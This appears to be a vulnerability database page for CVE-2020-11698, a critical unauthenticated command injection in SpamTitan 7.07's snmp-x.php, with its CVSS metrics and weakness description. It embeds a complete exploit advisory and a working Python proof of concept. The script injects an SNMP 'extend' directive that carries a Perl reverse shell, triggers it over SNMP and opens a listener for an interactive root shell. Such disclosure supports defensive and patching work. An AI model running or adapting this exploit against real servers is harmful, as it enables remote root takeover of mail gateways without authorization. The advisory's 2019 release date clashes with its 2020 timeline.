CVE-2020-11698 : Detail

CVE-2020-11698

9.8
/
CRITICAL
Command Injection
A03-Injection
90.78%V3
Network
2020-09-17 14:28 +00:00
2021-01-05 17:06 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

An issue was discovered in Titan SpamTitan 7.07. Improper input sanitization of the parameter community on the page snmp-x.php would allow a remote attacker to inject commands into the file snmpd.conf that would allow executing commands on the target server.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48856

Publication date : 2020-10-04 22:00 +00:00
Author : Felipe Molina
EDB Verified : No

# Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution # Date: 2020-09-18 # Exploit Author: Felipe Molina (@felmoltor) # Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/ # Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway # Version: 7.07 # Tested on: FreeBSD # CVE : CVE-2020-11698 ---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]------------------------------ SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions) Vulnerability: Unauthenticated Remote Code Execution CVSSv3: 10.0 (https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Severity: Critical Release Date: 2020-04-17 CVE: CVE-2020-11698 I. Background ~~~~~~~~~~~~~ From www.spamtitan.com: "SpamTitan Gateway is a powerful Anti-Spam appliance that equips network administrators with extensive tools to control mail flow and protect against unwanted email and malware." II. Description ~~~~~~~~~~~~~~~ Improper input sanitization of the parameter "community" on the page snmp-x.php would allow a remote attacker to inject command directives into the file snmpd.conf. This would allow executing commands on the target server by by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon of the server for the correct OID. III. PoC ~~~~~~~~ Use python 3 and install the following modules: requests, pysnmp. If your IP is 192.168.1.5 and the target SpamTitan server is spamtitan.example.com, call the PoC like this: ./poc.py -t spamtitan.example.com -i 192.168.1.5 --------------------------------------------- #!/usr/bin/env python # Author: Felipe Molina (@felmoltor) # Date: 09/04/2020 # Python Version: 3.7 # Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan 7.07 and previous versions. # The script abuses of two weaknesses on the product: # 1. Unauthenticated interaction with snmp-x.php script # 2. Injection of snmpd.conf configuration directives in multiple POST parameters such as "community" or "user_username" of snmp-x.php # Product URL: https://www.spamtitan.com/ # Product Version: 7.07 and probably previous import requests requests.packages.urllib3.disable_warnings() import os import threading from optparse import OptionParser import socket import json from pysnmp.hlapi import * from urllib.parse import urlparse from time import sleep SNMPGETDELAY=5 def parseoptions(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Target SpamTitan URL to attack. E.g.: https://spamtitan.com/", default=None) parser.add_option("-i", "--ip", dest="ip", help="Local IP where to listen for the reverse shell. Default: %s" % myip(), default=myip()) parser.add_option("-p", "--port", dest="port", help="Local Port where to listen for the reverse shell. Default: 4242", default=4242) parser.add_option("-q", "--quiet", action="store_true", dest="quiet", default=False, help="Shut up script! Just give me the shell.") return parser.parse_args() def printmsg(msg,quiet=False,msgtype="i"): if (not quiet): if (success): print("[%s] %s" % (msgtype,msg)) else: print("[-] %s" % msg) def info(msg,quiet=False): printmsg(msg,quiet,msgtype="i") def success(msg,quiet=False): printmsg(msg,quiet,msgtype="+") def fail(msg,quiet=False): printmsg(msg,quiet,msgtype="-") def myip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) IP = s.getsockname()[0] except: IP = '127.0.0.1' finally: s.close() return IP def shellServer(ip,port,quiet): servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servers.bind((ip, port)) servers.listen(1) info("Waiting for incoming connection on %s:%s" % (ip,port)) conn, addr = servers.accept() conn.settimeout(1) success("Hurray, we got a connection from %s" % addr[0]) prompt =conn.recv(128) prompt=str(prompt.decode("utf-8")).strip() command = input(prompt) while True: try: c = "%s\n" % (command) if (len(c)>0): conn.sendall(c.encode("utf-8")) # Quit the console if command == 'exit': info("\nClosing connection") conn.close() break else: completeanswer="" while True: answer=None try: answer=str((conn.recv(1024)).decode("utf-8")) completeanswer+=answer except socket.timeout: completeanswer.strip() break print(completeanswer,end='') command = input("") except (KeyboardInterrupt, EOFError): info("\nClosing connection") break def triggerSNMPShell(target, community, triggeroid, port, quiet): if (not quiet): print("Waiting %s seconds to allow the main thread set-up the shell listener." % SNMPGETDELAY) # Give the parent thread a few seconds to set up the shell listener before triggering the SNMP get query sleep(SNMPGETDELAY) if (not quiet): print("Querying the SNMP server to launch the shell.") targetp = urlparse(target) errorIndication, errorStatus, errorIndex, varBinds = next( getCmd(SnmpEngine(), CommunityData(community, mpModel=0), UdpTransportTarget((targetp.netloc, port)), ContextData(), ObjectType(ObjectIdentity(triggeroid))) ) if errorIndication: print("SNMP error: %s" % errorIndication) elif errorStatus: print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(), errorIndex and varBinds[int(errorIndex) - 1][0] or '?')) def main(): (options,arguments) = parseoptions() q = options.quiet t = options.target i = options.ip p = options.port community="dummy" if (t is None): print("[-] Error. Specify a target (-t).") exit() if ((not "http://" in t) and (not "https://" in t)): t = "http://%s/snmp-x.php" % t else: t = "%s/snmp-x.php" % t if (not q): print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p)) TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108" # PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) TOGGLESNMP={ "jaction":"toggleSNMP", "newval":"1" } INJECTION={ "jaction":"saveAll", "contact":"CONTACT", "name":"SpamTitan", "location":"LOCATION", # Add our IP as allowed to query the injected "dummy" community # Add also the perl payload in a new line (%0a) of the snmpd.conf file "community":'%s" %s\n%s # ' % (community,i,PAYLOAD) } rev_thread = threading.Thread(target=triggerSNMPShell, args=(t, community, TARGETOID, 161,q)) rev_thread.start() # Start a thread to listen for incoming reverse shells: if (not q): print("[+] Launching a reverse shell listener to wait for the shell.") # Send the SNMP request to add a community and append an "extend" command to execute scripts # SpamTitan would add a new line in the snmpd.conf file with the new community name and the "extend" script inj_res = requests.post(t,INJECTION,verify=False) if (inj_res.status_code == 200): if (not q): print("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) else: print("Error. The target is probably not vulnerable (returned a %s code)." % inj_res.status_code) main() --------------------------------------------- III. Impact ~~~~~~~~~~~ The snmpd daemon is running as root in the target server. The pressented PoC would return a root shell without need of any registered user in the target server. There is total loss of confidentiality, integrity and availability on the SpamTitan server. IV. Disclosure ~~~~~~~~~~~~~~ Reported By: Felipe Molina de la Torre Vendor Informed: 2020-04-17 Patch Release Date: 2020-05-26 Advisory Release Date: 2019-09-18 V. References ~~~~~~~~~~~~~ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698 * https://sensepost.com/blog/2020/clash-of-the-spamtitan/ ---------------------------------[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]---

Products Mentioned

Configuraton 0

Titanhq>>Spamtitan >> Version 7.07

References

https://www.spamtitan.com/
Tags : x_refsource_MISC
https://github.com/felmoltor
Tags : x_refsource_MISC
https://twitter.com/felmoltor
Tags : x_refsource_MISC
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.